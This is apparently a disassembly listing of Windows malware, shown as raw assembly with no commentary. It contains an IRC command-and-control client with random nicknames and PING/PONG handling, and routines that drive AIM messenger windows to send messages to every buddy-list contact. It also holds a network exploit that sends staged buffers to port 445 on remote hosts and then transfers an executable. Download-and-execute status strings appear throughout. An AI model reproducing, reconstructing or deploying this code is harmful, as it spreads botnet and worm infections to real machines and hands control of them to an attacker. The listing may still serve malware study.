sub_404CE7+1B0j jmp short loc_404ECD ; --------------------------------------------------------------------------- loc_404EA0: ; CODE XREF: sub_404CE7+17Aj cmp [ebp+var_218], 0 jnz short loc_404ECD push [ebp+var_4] push offset aDl08xExec ; "[dl:%08x] :( exec" lea eax, [ebp+var_3A8] push eax call dword_401104 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_3A8] push eax call sub_402C53 loc_404ECD: ; CODE XREF: sub_404CE7:loc_404E9Ej ; sub_404CE7+1C0j jmp short loc_404EFC ; --------------------------------------------------------------------------- loc_404ECF: ; CODE XREF: sub_404CE7+14Cj cmp [ebp+var_218], 0 jnz short loc_404EFC push [ebp+var_4] push offset aDl08xDl ; "[dl:%08x] :( dl" lea eax, [ebp+var_3A8] push eax call dword_401104 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_3A8] push eax call sub_402C53 loc_404EFC: ; CODE XREF: sub_404CE7:loc_404ECDj ; sub_404CE7+1EFj xor eax, eax locret_404EFE: ; CODE XREF: sub_404CE7+CAj leave retn 4 sub_404CE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F02 proc near ; CODE XREF: sub_403062+2C2p var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_C = word ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 50h cmp dword_40168C, 0 jnz short loc_404F16 jmp locret_404FBB ; --------------------------------------------------------------------------- loc_404F16: ; CODE XREF: sub_404F02+Dj push 20h push [ebp+arg_0] call sub_40395A mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_404F2E jmp locret_404FBB ; --------------------------------------------------------------------------- loc_404F2E: ; CODE XREF: sub_404F02+25j mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax push 40h push [ebp+arg_0] lea eax, [ebp+var_4C] push eax call dword_4010BC ; lstrcpynA and [ebp+var_C], 0 jmp short loc_404F58 ; --------------------------------------------------------------------------- loc_404F51: ; CODE XREF: sub_404F02+81j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F58: ; CODE XREF: sub_404F02+4Dj mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_404F85 movzx eax, [ebp+var_C] imul eax, 0Ah mov [ebp+var_C], ax mov eax, [ebp+var_4] movzx eax, byte ptr [eax] sub eax, 30h movzx eax, ax movzx ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], cx jmp short loc_404F51 ; --------------------------------------------------------------------------- loc_404F85: ; CODE XREF: sub_404F02+5Ej and [ebp+var_50], 0 and dword_40168C, 0 push 0 push 0 lea eax, [ebp+var_50] push eax push offset loc_40501F push 0 push 0 call dword_4010B4 ; CreateThread test eax, eax jz short locret_404FBB loc_404FAB: ; CODE XREF: sub_404F02+B7j cmp [ebp+var_50], 0 jnz short locret_404FBB push 8 call dword_4010DC ; Sleep jmp short loc_404FAB ; --------------------------------------------------------------------------- locret_404FBB: ; CODE XREF: sub_404F02+Fj ; sub_404F02+27j ... leave retn 4 sub_404F02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FBF proc near ; CODE XREF: sub_403062:loc_40332Ep push ebp mov ebp, esp mov dword_40168C, 1 pop ebp retn sub_404FBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FCE proc near ; CODE XREF: sub_403062+2E8p var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 204h cmp dword_40168C, 1 jnz short loc_404FE2 jmp short locret_40501B ; --------------------------------------------------------------------------- loc_404FE2: ; CODE XREF: sub_404FCE+10j push [ebp+arg_0] push offset a_500s ; "%.500s\n" lea eax, [ebp+var_200] push eax call dword_401104 ; wsprintfA add esp, 0Ch mov [ebp+var_204], eax push 0 push [ebp+var_204] lea eax, [ebp+var_200] push eax push dword_4014D0 call dword_401130 ; send locret_40501B: ; CODE XREF: sub_404FCE+12j leave retn 4 sub_404FCE endp ; --------------------------------------------------------------------------- loc_40501F: ; DATA XREF: sub_404F02+96o push ebp mov ebp, esp sub esp, 5B0h push esi push edi mov esi, [ebp+8] push 11h pop ecx lea edi, [ebp-598h] rep movsd movsw mov eax, [ebp+8] mov dword ptr [eax], 1 call dword_4010A4 ; GetTickCount mov [ebp-5A0h], eax mov eax, [ebp-5A0h] and eax, 3 add eax, 5 mov [ebp-54Ch], eax mov eax, [ebp-5A0h] shr eax, 1 mov [ebp-5A0h], eax mov eax, [ebp-5A0h] and eax, 3 add eax, 4 mov [ebp-4], eax mov eax, [ebp-5A0h] shr eax, 1 mov [ebp-5A0h], eax mov eax, [ebp-5A0h] and eax, 3 add eax, 4 mov [ebp-28h], eax call dword_4010A4 ; GetTickCount mov [ebp-5A0h], eax and dword ptr [ebp-24h], 0 jmp short loc_4050B4 ; --------------------------------------------------------------------------- loc_4050AD: ; CODE XREF: MEW:004050F8j mov eax, [ebp-24h] inc eax mov [ebp-24h], eax loc_4050B4: ; CODE XREF: MEW:004050ABj mov eax, [ebp-24h] cmp eax, [ebp-54Ch] jnb short loc_4050FA mov eax, [ebp-5A0h] xor eax, 96F050F2h mov [ebp-5A0h], eax mov eax, [ebp-5A0h] xor edx, edx push 1Ah pop ecx div ecx add edx, 61h mov eax, [ebp-24h] mov [ebp+eax-548h], dl mov eax, [ebp-5A0h] shr eax, 1 mov [ebp-5A0h], eax jmp short loc_4050AD ; --------------------------------------------------------------------------- loc_4050FA: ; CODE XREF: MEW:004050BDj mov eax, [ebp-24h] mov byte ptr [ebp+eax-548h], 0 and dword ptr [ebp-24h], 0 jmp short loc_405112 ; --------------------------------------------------------------------------- loc_40510B: ; CODE XREF: MEW:00405153j mov eax, [ebp-24h] inc eax mov [ebp-24h], eax loc_405112: ; CODE XREF: MEW:00405109j mov eax, [ebp-24h] cmp eax, [ebp-4] jnb short loc_405155 mov eax, [ebp-5A0h] xor eax, 78D6BA83h mov [ebp-5A0h], eax mov eax, [ebp-5A0h] xor edx, edx push 1Ah pop ecx div ecx add edx, 61h mov eax, [ebp-24h] mov [ebp+eax-5B0h], dl mov eax, [ebp-5A0h] shr eax, 1 mov [ebp-5A0h], eax jmp short loc_40510B ; --------------------------------------------------------------------------- loc_405155: ; CODE XREF: MEW:00405118j mov eax, [ebp-24h] mov byte ptr [ebp+eax-5B0h], 0 and dword ptr [ebp-24h], 0 jmp short loc_40516D ; --------------------------------------------------------------------------- loc_405166: ; CODE XREF: MEW:004051AEj mov eax, [ebp-24h] inc eax mov [ebp-24h], eax loc_40516D: ; CODE XREF: MEW:00405164j mov eax, [ebp-24h] cmp eax, [ebp-28h] jnb short loc_4051B0 mov eax, [ebp-5A0h] xor eax, 0D9503521h mov [ebp-5A0h], eax mov eax, [ebp-5A0h] xor edx, edx push 1Ah pop ecx div ecx add edx, 61h mov eax, [ebp-24h] mov [ebp+eax-138h], dl mov eax, [ebp-5A0h] shr eax, 1 mov [ebp-5A0h], eax jmp short loc_405166 ; --------------------------------------------------------------------------- loc_4051B0: ; CODE XREF: MEW:00405173j mov eax, [ebp-24h] mov byte ptr [ebp+eax-138h], 0 push 6 push 1 push 2 call dword_401160 ; socket mov dword_4014D0, eax cmp dword_4014D0, 0FFFFFFFFh jnz short loc_4051DC xor eax, eax jmp loc_40538E ; --------------------------------------------------------------------------- loc_4051DC: ; CODE XREF: MEW:004051D3j mov word ptr [ebp-18h], 2 push dword ptr [ebp-554h] call dword_40110C ; ntohs mov [ebp-16h], ax lea eax, [ebp-594h] push eax call dword_40111C ; inet_addr mov [ebp-14h], eax push 10h lea eax, [ebp-18h] push eax push dword_4014D0 call dword_40112C ; connect cmp eax, 0FFFFFFFFh jnz short loc_405220 xor eax, eax jmp loc_40538E ; --------------------------------------------------------------------------- loc_405220: ; CODE XREF: MEW:00405217j lea eax, [ebp-138h] push eax lea eax, [ebp-594h] push eax lea eax, [ebp-5B0h] push eax push offset aUser_16s_16s_1 ; "USER %.16s \"\" \"%.16s\" %.16s\n" lea eax, [ebp-128h] push eax call dword_401104 ; wsprintfA add esp, 14h mov [ebp-550h], eax push 0 push dword ptr [ebp-550h] lea eax, [ebp-128h] push eax push dword_4014D0 call dword_401130 ; send lea eax, [ebp-548h] push eax push offset aNick_16s ; "NICK %.16s\n" lea eax, [ebp-128h] push eax call dword_401104 ; wsprintfA add esp, 0Ch mov [ebp-550h], eax push 0 push dword ptr [ebp-550h] lea eax, [ebp-128h] push eax push dword_4014D0 call dword_401130 ; send and dword ptr [ebp-8], 0 loc_4052AC: ; CODE XREF: MEW:loc_40537Bj cmp dword_40168C, 0 jnz loc_405380 push 0 mov eax, 400h sub eax, [ebp-8] push eax mov eax, [ebp-8] lea eax, [ebp+eax-538h] push eax push dword_4014D0 call dword_40113C ; recv mov [ebp-1Ch], eax cmp dword ptr [ebp-1Ch], 0 jle loc_405380 mov eax, [ebp-8] add eax, [ebp-1Ch] mov [ebp-8], eax mov eax, [ebp-8] mov byte ptr [ebp+eax-538h], 0 lea eax, [ebp-538h] mov [ebp-59Ch], eax loc_405308: ; CODE XREF: MEW:loc_405375j mov eax, [ebp-59Ch] movsx eax, byte ptr [eax] test eax, eax jz short loc_405377 push 0Dh push dword ptr [ebp-59Ch] call sub_40395A mov [ebp-20h], eax cmp dword ptr [ebp-20h], 0 jz short loc_405349 mov eax, [ebp-20h] mov byte ptr [eax], 0 push dword ptr [ebp-59Ch] call sub_405394 mov eax, [ebp-20h] inc eax inc eax mov [ebp-59Ch], eax jmp short loc_405375 ; --------------------------------------------------------------------------- loc_405349: ; CODE XREF: MEW:00405329j mov eax, [ebp-8] lea eax, [ebp+eax-538h] sub eax, [ebp-59Ch] mov [ebp-8], eax mov eax, [ebp-8] inc eax push eax push dword ptr [ebp-59Ch] lea eax, [ebp-538h] push eax call sub_40392B jmp short loc_40537B ; --------------------------------------------------------------------------- loc_405375: ; CODE XREF: MEW:00405347j jmp short loc_405308 ; --------------------------------------------------------------------------- loc_405377: ; CODE XREF: MEW:00405313j and dword ptr [ebp-8], 0 loc_40537B: ; CODE XREF: MEW:00405373j jmp loc_4052AC ; --------------------------------------------------------------------------- loc_405380: ; CODE XREF: MEW:004052B3j ; MEW:004052E2j push dword_4014D0 call dword_401140 ; closesocket xor eax, eax loc_40538E: ; CODE XREF: MEW:004051D7j ; MEW:0040521Bj pop edi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405394 proc near ; CODE XREF: MEW:00405337p var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = byte ptr -220h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 228h mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_4053D1 push 20h mov eax, [ebp+arg_0] inc eax push eax call sub_40395A mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4053C2 jmp locret_40553B ; --------------------------------------------------------------------------- loc_4053C2: ; CODE XREF: sub_405394+27j mov eax, [ebp+var_8] mov byte ptr [eax], 0 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax jmp short loc_4053D7 ; --------------------------------------------------------------------------- loc_4053D1: ; CODE XREF: sub_405394+12j mov eax, [ebp+arg_0] mov [ebp+var_8], eax loc_4053D7: ; CODE XREF: sub_405394+3Bj push 20h push [ebp+var_8] call sub_40395A mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4053F1 jmp locret_40553B ; --------------------------------------------------------------------------- db 0EBh db 0Dh ; --------------------------------------------------------------------------- loc_4053F1: ; CODE XREF: sub_405394+54j mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax push offset aPing ; "PING" push [ebp+var_8] call dword_4010AC ; lstrcmpA test eax, eax jnz short loc_40544E push [ebp+var_4] push offset aPong_500s ; "PONG %.500s\r\n" lea eax, [ebp+var_208] push eax call dword_401104 ; wsprintfA add esp, 0Ch mov [ebp+var_20C], eax push 0 push [ebp+var_20C] lea eax, [ebp+var_208] push eax push dword_4014D0 call dword_401130 ; send jmp locret_40553B ; --------------------------------------------------------------------------- loc_40544E: ; CODE XREF: sub_405394+7Aj push offset a433 ; "433" push [ebp+var_8] call dword_4010AC ; lstrcmpA test eax, eax jnz locret_40553B call dword_4010A4 ; GetTickCount mov [ebp+var_228], eax mov eax, [ebp+var_228] and eax, 3 add eax, 5 mov [ebp+var_224], eax call dword_4010A4 ; GetTickCount mov [ebp+var_228], eax and [ebp+var_210], 0 jmp short loc_4054A4 ; --------------------------------------------------------------------------- loc_405497: ; CODE XREF: sub_405394+15Aj mov eax, [ebp+var_210] inc eax mov [ebp+var_210], eax loc_4054A4: ; CODE XREF: sub_405394+101j mov eax, [ebp+var_210] cmp eax, [ebp+var_224] jnb short loc_4054F0 mov eax, [ebp+var_228] xor eax, 54287D75h mov [ebp+var_228], eax mov eax, [ebp+var_228] xor edx, edx push 1Ah pop ecx div ecx add edx, 61h mov eax, [ebp+var_210] mov [ebp+eax+var_220], dl mov eax, [ebp+var_228] shr eax, 1 mov [ebp+var_228], eax jmp short loc_405497 ; --------------------------------------------------------------------------- loc_4054F0: ; CODE XREF: sub_405394+11Cj mov eax, [ebp+var_210] mov [ebp+eax+var_220], 0 lea eax, [ebp+var_220] push eax push offset aNick_16s ; "NICK %.16s\n" lea eax, [ebp+var_208] push eax call dword_401104 ; wsprintfA add esp, 0Ch mov [ebp+var_20C], eax push 0 push [ebp+var_20C] lea eax, [ebp+var_208] push eax push dword_4014D0 call dword_401130 ; send locret_40553B: ; CODE XREF: sub_405394+29j ; sub_405394+56j ... leave retn 4 sub_405394 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40553F proc near ; CODE XREF: sub_403062+2A6p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push 0 push offset a_oscar_statusn ; "_Oscar_StatusNotify" call dword_4010EC ; FindWindowA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_405560 jmp locret_405724 ; --------------------------------------------------------------------------- loc_405560: ; CODE XREF: sub_40553F+1Aj push 0 push 4E23h push 111h push [ebp+var_8] call dword_4010FC ; SendMessageA push 0 push [ebp+var_8] call dword_4010F8 ; GetWindowThreadProcessId mov [ebp+var_1C], eax and [ebp+var_14], 0 loc_405587: ; CODE XREF: sub_40553F:loc_4055FBj push 0 push offset a32770 ; "#32770" push [ebp+var_14] push 0 call dword_4010F4 ; FindWindowExA mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4055A7 jmp locret_405724 ; --------------------------------------------------------------------------- loc_4055A7: ; CODE XREF: sub_40553F+61j push 0 push [ebp+var_14] call dword_4010F8 ; GetWindowThreadProcessId cmp eax, [ebp+var_1C] jnz short loc_4055FB push 0 push offset a32770 ; "#32770" push 0 push [ebp+var_14] call dword_4010F4 ; FindWindowExA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4055D7 jmp locret_405724 ; --------------------------------------------------------------------------- loc_4055D7: ; CODE XREF: sub_40553F+91j push 0 push offset a_oscar_tree ; "_Oscar_Tree" push 0 push [ebp+var_C] call dword_4010F4 ; FindWindowExA mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_4055F9 jmp locret_405724 ; --------------------------------------------------------------------------- db 0EBh db 2 ; --------------------------------------------------------------------------- loc_4055F9: ; CODE XREF: sub_40553F+B1j jmp short loc_4055FD ; --------------------------------------------------------------------------- loc_4055FB: ; CODE XREF: sub_40553F+76j jmp short loc_405587 ; --------------------------------------------------------------------------- loc_4055FD: ; CODE XREF: sub_40553F:loc_4055F9j push 0 push 0 push 18Bh push [ebp+var_18] call dword_4010FC ; SendMessageA mov [ebp+var_10], eax push 0 push [ebp+var_10] push 186h push [ebp+var_18] call dword_4010FC ; SendMessageA push 0 push 25h push 100h push [ebp+var_18] call dword_4010FC ; SendMessageA push 0 push 25h push 101h push [ebp+var_18] call dword_4010FC ; SendMessageA push 0 push 0 push 18Bh push [ebp+var_18] call dword_4010FC ; SendMessageA mov [ebp+var_10], eax mov eax, [ebp+var_10] dec eax dec eax mov [ebp+var_4], eax jmp short loc_40566F ; --------------------------------------------------------------------------- loc_405668: ; CODE XREF: sub_40553F+16Dj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax loc_40566F: ; CODE XREF: sub_40553F+127j cmp [ebp+var_4], 0 jl short loc_4056AE push 0 push [ebp+var_4] push 186h push [ebp+var_18] call dword_4010FC ; SendMessageA push 0 push 27h push 100h push [ebp+var_18] call dword_4010FC ; SendMessageA push 0 push 27h push 101h push [ebp+var_18] call dword_4010FC ; SendMessageA jmp short loc_405668 ; --------------------------------------------------------------------------- loc_4056AE: ; CODE XREF: sub_40553F+134j push 0 push 0 push 18Bh push [ebp+var_18] call dword_4010FC ; SendMessageA mov [ebp+var_10], eax and [ebp+var_4], 0 jmp short loc_4056D0 ; --------------------------------------------------------------------------- loc_4056C9: ; CODE XREF: sub_40553F+1E3j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4056D0: ; CODE XREF: sub_40553F+188j mov eax, [ebp+var_4] cmp eax, [ebp+var_10] jge short locret_405724 push 0 push [ebp+var_4] push 186h push [ebp+var_18] call dword_4010FC ; SendMessageA push 0 push 20h push 100h push [ebp+var_18] call dword_4010FC ; SendMessageA push 0 push 20h push 101h push [ebp+var_18] call dword_4010FC ; SendMessageA push [ebp+arg_0] call sub_405728 push 7D0h call dword_4010DC ; Sleep jmp short loc_4056C9 ; --------------------------------------------------------------------------- locret_405724: ; CODE XREF: sub_40553F+1Cj ; sub_40553F+63j ... leave retn 4 sub_40553F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405728 proc near ; CODE XREF: sub_40553F+1D3p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h loc_40572E: ; CODE XREF: sub_405728+E9j push offset aInstantMessage ; "Instant Message" push offset aAim_imessage ; "AIM_IMessage" push 0 push 0 call dword_4010F4 ; FindWindowExA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz locret_405816 and [ebp+var_C], 0 loc_405753: ; CODE XREF: sub_405728:loc_4057AAj push 0 push offset aWndate32class ; "WndAte32Class" push [ebp+var_C] push [ebp+var_4] call dword_4010F4 ; FindWindowExA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4057AC push 0 push offset aCbclass ; "CBClass" push 0 push [ebp+var_C] call dword_4010F4 ; FindWindowExA test eax, eax jz short loc_4057AA push 0 push offset aAte32class ; "Ate32Class" push 0 push [ebp+var_C] call dword_4010F4 ; FindWindowExA mov [ebp+var_10], eax push [ebp+arg_0] push 0 push 0Ch push [ebp+var_10] call dword_4010FC ; SendMessageA loc_4057AA: ; CODE XREF: sub_405728+5Bj jmp short loc_405753 ; --------------------------------------------------------------------------- loc_4057AC: ; CODE XREF: sub_405728+45j and [ebp+var_8], 0 loc_4057B0: ; CODE XREF: sub_405728:loc_405800j push 0 push offset a_oscar_iconbtn ; "_Oscar_IconBtn" push [ebp+var_8] push [ebp+var_4] call dword_4010F4 ; FindWindowExA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_405802 push [ebp+var_8] call dword_401100 ; GetMenu cmp eax, 199h jnz short loc_405800 push 0 push 0 push 201h push [ebp+var_8] call dword_4010FC ; SendMessageA push 0 push 0 push 202h push [ebp+var_8] call dword_4010FC ; SendMessageA loc_405800: ; CODE XREF: sub_405728+B2j jmp short loc_4057B0 ; --------------------------------------------------------------------------- loc_405802: ; CODE XREF: sub_405728+A2j push 0 push 0 push 10h push [ebp+var_4] call dword_4010FC ; SendMessageA jmp loc_40572E ; --------------------------------------------------------------------------- locret_405816: ; CODE XREF: sub_405728+21j leave retn 4 sub_405728 endp ; --------------------------------------------------------------------------- loc_40581A: ; DATA XREF: sub_403B95+2A9o push ebp mov ebp, esp sub esp, 4Ch push dword ptr [ebp+8] call sub_40587E mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz short loc_405878 cmp dword_40167C, 0 jnz short loc_405878 cmp dword ptr [ebp-4], 1 jnz short loc_405849 mov dword ptr [ebp-4Ch], offset dword_402598 jmp short loc_405850 ; --------------------------------------------------------------------------- loc_405849: ; CODE XREF: MEW:0040583Ej mov dword ptr [ebp-4Ch], offset dword_402594 loc_405850: ; CODE XREF: MEW:00405847j push dword ptr [ebp-4Ch] push dword ptr [ebp+8] call dword_401164 ; inet_ntoa push eax push offset dword_402584 lea eax, [ebp-48h] push eax call dword_401104 ; wsprintfA add esp, 10h lea eax, [ebp-48h] push eax call sub_402C53 loc_405878: ; CODE XREF: MEW:0040582Fj ; MEW:00405838j xor eax, eax leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40587E proc near ; CODE XREF: MEW:00405823p var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h mov [ebp+var_1C], 2 mov [ebp+var_1A], 0BD01h mov eax, [ebp+arg_0] mov [ebp+var_18], eax push 6 push 1 push 2 call dword_401160 ; socket mov [ebp+var_8], eax push 10h lea eax, [ebp+var_1C] push eax push [ebp+var_8] call dword_40112C ; connect push 89h push offset dword_4020B8 push [ebp+var_8] call sub_4059B4 push 0A8h push offset dword_402148 push [ebp+var_8] call sub_4059B4 push 0DEh push offset dword_4021F8 push [ebp+var_8] call sub_4059B4 mov [ebp+var_20], al cmp [ebp+var_20], 30h jz short loc_405904 cmp [ebp+var_20], 31h jz short loc_4058FB jmp short loc_40590A ; --------------------------------------------------------------------------- loc_4058FB: ; CODE XREF: sub_40587E+79j mov [ebp+var_C], 1 jmp short loc_40591A ; --------------------------------------------------------------------------- loc_405904: ; CODE XREF: sub_40587E+73j and [ebp+var_C], 0 jmp short loc_40591A ; --------------------------------------------------------------------------- loc_40590A: ; CODE XREF: sub_40587E+7Bj push [ebp+var_8] call dword_401140 ; closesocket xor eax, eax jmp locret_4059B0 ; --------------------------------------------------------------------------- loc_40591A: ; CODE XREF: sub_40587E+84j ; sub_40587E+8Aj push 3Eh push offset dword_4022D8 push [ebp+var_8] call sub_4059B4 push 60h push offset dword_402318 push [ebp+var_8] call sub_4059B4 push 0A0h push offset dword_402380 push [ebp+var_8] call sub_4059B4 call dword_4010A4 ; GetTickCount and eax, 0FFFFh mov word ptr [ebp+var_4], ax cmp [ebp+var_C], 1 jnz short loc_40596C push [ebp+var_4] push [ebp+var_8] call sub_4059EF jmp short loc_405977 ; --------------------------------------------------------------------------- loc_40596C: ; CODE XREF: sub_40587E+DFj push [ebp+var_4] push [ebp+var_8] call sub_405AE6 loc_405977: ; CODE XREF: sub_40587E+ECj push 800h call dword_4010DC ; Sleep push [ebp+var_8] call dword_401140 ; closesocket push [ebp+var_4] push [ebp+arg_0] call sub_405BB6 test eax, eax jnz short loc_4059A0 xor eax, eax jmp short locret_4059B0 ; --------------------------------------------------------------------------- dw 10EBh ; --------------------------------------------------------------------------- loc_4059A0: ; CODE XREF: sub_40587E+11Aj cmp [ebp+var_C], 1 jnz short loc_4059AD xor eax, eax inc eax jmp short locret_4059B0 ; --------------------------------------------------------------------------- db 0EBh db 3 ; --------------------------------------------------------------------------- loc_4059AD: ; CODE XREF: sub_40587E+126j push 2 pop eax locret_4059B0: ; CODE XREF: sub_40587E+97j ; sub_40587E+11Ej ... leave retn 4 sub_40587E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059B4 proc near ; CODE XREF: sub_40587E+43p ; sub_40587E+55p ... var_600 = byte ptr -600h var_5BC = byte ptr -5BCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 600h push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_401130 ; send push 0 push 600h lea eax, [ebp+var_600] push eax push [ebp+arg_0] call dword_40113C ; recv mov al, [ebp+var_5BC] leave retn 0Ch sub_4059B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059EF proc near ; CODE XREF: sub_40587E+E7p var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_2F2 = byte ptr -2F2h var_2E = byte ptr -2Eh var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 37Ch push 86h push offset dword_402428 lea eax, [ebp+var_378] push eax call sub_40392B lea eax, [ebp+var_2F2] mov [ebp+var_4], eax push dword_401F2C push offset dword_401F30 push [ebp+var_4] call sub_40392B mov eax, [ebp+var_4] mov cx, [ebp+arg_4] mov [eax+100h], cx push 41h mov eax, 264h sub eax, dword_401F2C add eax, 60h push eax mov eax, [ebp+var_4] add eax, dword_401F2C push eax call sub_403901 mov eax, [ebp+var_4] add eax, 264h mov [ebp+var_37C], eax mov eax, [ebp+var_37C] mov dword ptr [eax], 2080Ah mov eax, [ebp+var_37C] mov dword ptr [eax+0Ch], 20804h mov eax, [ebp+var_37C] mov dword ptr [eax+30h], 20804h mov eax, [ebp+var_37C] mov dword ptr [eax+3Ch], 20804h push 20h push offset dword_4024B0 lea eax, [ebp+var_2E] push eax call sub_40392B push 0 push 36Ah lea eax, [ebp+var_378] push eax push [ebp+arg_0] call dword_401130 ; send push 400h call dword_4010DC ; Sleep push 0 push 36Ah lea eax, [ebp+var_378] push eax push [ebp+arg_0] call dword_401130 ; send leave retn 8 sub_4059EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405AE6 proc near ; CODE XREF: sub_40587E+F4p var_4DC = dword ptr -4DCh var_4D8 = byte ptr -4D8h var_452 = byte ptr -452h var_2A = byte ptr -2Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 4DCh push 86h push offset dword_4024D8 lea eax, [ebp+var_4D8] push eax call sub_40392B lea eax, [ebp+var_452] mov [ebp+var_4DC], eax push 90h mov eax, 3E8h sub eax, dword_401F28 push eax push [ebp+var_4DC] call sub_403901 mov eax, 3E8h sub eax, dword_401F28 add eax, [ebp+var_4DC] mov [ebp+var_4], eax push dword_401F28 push offset dword_401D90 push [ebp+var_4] call sub_40392B mov eax, [ebp+var_4] mov cx, [ebp+arg_4] mov [eax+104h], cx and [ebp+var_8], 0 jmp short loc_405B6F ; --------------------------------------------------------------------------- loc_405B68: ; CODE XREF: sub_405AE6+A3j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_405B6F: ; CODE XREF: sub_405AE6+80j cmp [ebp+var_8], 10h jnb short loc_405B8B mov eax, [ebp+var_8] mov ecx, [ebp+var_4DC] mov dword ptr [ecx+eax*4+3E8h], 20804h jmp short loc_405B68 ; --------------------------------------------------------------------------- loc_405B8B: ; CODE XREF: sub_405AE6+8Dj push 20h push offset dword_402560 lea eax, [ebp+var_2A] push eax call sub_40392B push 0 push 4CEh lea eax, [ebp+var_4D8] push eax push [ebp+arg_0] call dword_401130 ; send leave retn 8 sub_405AE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405BB6 proc near ; CODE XREF: sub_40587E+113p var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_1C], 2 mov eax, [ebp+arg_0] mov [ebp+var_18], eax mov ax, [ebp+arg_4] mov [ebp+var_1A], ax push 6 push 1 push 2 call dword_401160 ; socket mov [ebp+var_4], eax push 10h lea eax, [ebp+var_1C] push eax push [ebp+var_4] call dword_40112C ; connect cmp eax, 0FFFFFFFFh jnz short loc_405C00 push [ebp+var_4] call dword_401140 ; closesocket xor eax, eax jmp short locret_405C4A ; --------------------------------------------------------------------------- loc_405C00: ; CODE XREF: sub_405BB6+3Bj push 0 push 8000080h push 3 push 0 push 1 push 1 push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" call dword_401098 ; CreateFileA mov [ebp+var_8], eax push 1 push 0 push 0 push 0 push 0 push [ebp+var_8] push [ebp+var_4] call sub_405C54 mov [ebp+var_C], eax push [ebp+var_8] call dword_40105C ; CloseHandle push [ebp+var_4] call dword_401140 ; closesocket mov eax, [ebp+var_C] locret_405C4A: ; CODE XREF: sub_405BB6+48j leave retn 8 sub_405BB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_405C4E proc near ; CODE XREF: sub_403B95+247p ; sub_403B95+261p jmp dword_40115C sub_405C4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_405C54 proc near ; CODE XREF: sub_405BB6+77p jmp dword_4010E4 sub_405C54 endp ; --------------------------------------------------------------------------- dw 0CCCCh dd 3B7h dup(0) dword_406B38 dd 40104400h, 52454B00h, 334C454Eh, 6C642E32h, 4780006Ch ; DATA XREF: __u_____:00409348o dd 75437465h, 6E657272h, 6F725074h, 